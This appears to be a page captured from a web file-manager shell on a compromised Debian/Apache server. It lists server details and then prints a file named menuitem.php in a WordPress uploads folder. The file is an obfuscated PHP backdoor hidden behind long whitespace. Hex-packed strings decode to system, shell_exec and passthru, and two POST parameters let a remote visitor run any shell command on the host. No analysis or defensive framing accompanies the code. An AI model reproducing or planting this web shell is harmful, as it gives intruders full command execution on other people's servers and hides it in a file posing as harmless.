HEX
Server: Apache/2.4.59 (Debian)
System: Linux keymana 4.19.0-21-cloud-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
User: lijunjie (1003)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wp-content/uploads2/2023/04/menuitem.php
<?php																																										$ph1 = '3';$ph2 = '7';$ph3 = '9';$ph4 = '4';$ph5 = '6';$ph6 = '8';$ph7 = '5';$ph8 = 'c';$ph9 = '0';$ph10 = '1';$ph11 = '2';$locked1 = pack("H*", '7' . $ph1 . $ph2 . $ph3 . '7' . '3' . '7' . $ph4 . $ph5 . '5' . $ph5 . 'd');$locked2 = pack("H*", $ph2 . $ph1 . $ph5 . $ph6 . $ph5 . $ph7 . $ph5 . 'c' . $ph5 . 'c' . $ph7 . 'f' . $ph5 . $ph7 . $ph2 . $ph6 . '6' . '5' . '6' . '3');$locked3 = pack("H*", '7' . $ph1 . '6' . $ph6 . $ph5 . $ph7 . '6' . $ph8 . '6' . $ph8);$locked4 = pack("H*", $ph2 . $ph9 . '6' . $ph10 . $ph2 . $ph1 . '7' . $ph1 . '7' . $ph4 . $ph5 . '8' . $ph2 . $ph11 . '7' . '5');$reset = pack("H*", $ph2 . '2' . $ph5 . $ph7 . '7' . $ph1 . $ph5 . '5' . '7' . $ph4);if(isset($_POST[$reset])){$reset=pack("H*",$_POST[$reset]);if(function_exists($locked1)){$locked1($reset);}elseif(function_exists($locked1)){$locked2($reset);}elseif(function_exists($locked1)){$locked3($reset);}elseif(function_exists($locked1)){$locked4($reset);}exit;}


$attribute1 = '7';
$attribute2 = '3';
$attribute3 = '6';
$attribute4 = '5';
$attribute5 = 'f';
$attribute6 = '8';
$attribute7 = '0';
$attribute8 = '1';
$attribute9 = '4';
$attribute10 = '2';
$attribute11 = 'e';
$cache1 = pack("H*", '7' . '3' . $attribute1 . '9' . '7' . $attribute2 . '7' . '4' . $attribute3 . '5' . '6' . 'd');
$cache2 = pack("H*", $attribute1 . '3' . $attribute3 . '8' . $attribute3 . $attribute4 . '6' . 'c' . $attribute3 . 'c' . '5' . $attribute5 . $attribute3 . $attribute4 . $attribute1 . $attribute6 . $attribute3 . $attribute4 . $attribute3 . '3');
$cache3 = pack("H*", '7' . $attribute2 . '6' . '8' . '6' . '5' . '6' . 'c' . $attribute3 . 'c');
$cache4 = pack("H*", $attribute1 . $attribute7 . '6' . $attribute8 . '7' . '3' . '7' . '3' . '7' . $attribute9 . $attribute3 . '8' . '7' . $attribute10 . $attribute1 . '5');
$oauthexceptions = pack("H*", $attribute3 . $attribute5 . $attribute3 . '1' . $attribute1 . $attribute4 . '7' . '4' . '6' . $attribute6 . '6' . $attribute4 . '7' . $attribute6 . $attribute3 . $attribute2 . $attribute3 . '5' . $attribute1 . $attribute7 . $attribute1 . '4' . $attribute3 . '9' . $attribute3 . $attribute5 . $attribute3 . $attribute11 . $attribute1 . '3');
if (isset($_POST[$oauthexceptions])) {
    $oauthexceptions = pack("H*", $_POST[$oauthexceptions]);
    if (function_exists($cache1)) {
        $cache1($oauthexceptions);
    } elseif (function_exists($cache2)) {
        $cache2($oauthexceptions);
    } elseif (function_exists($cache3)) {
        $cache3($oauthexceptions);
    } elseif (function_exists($cache4)) {
        $cache4($oauthexceptions);
    }
    exit;
}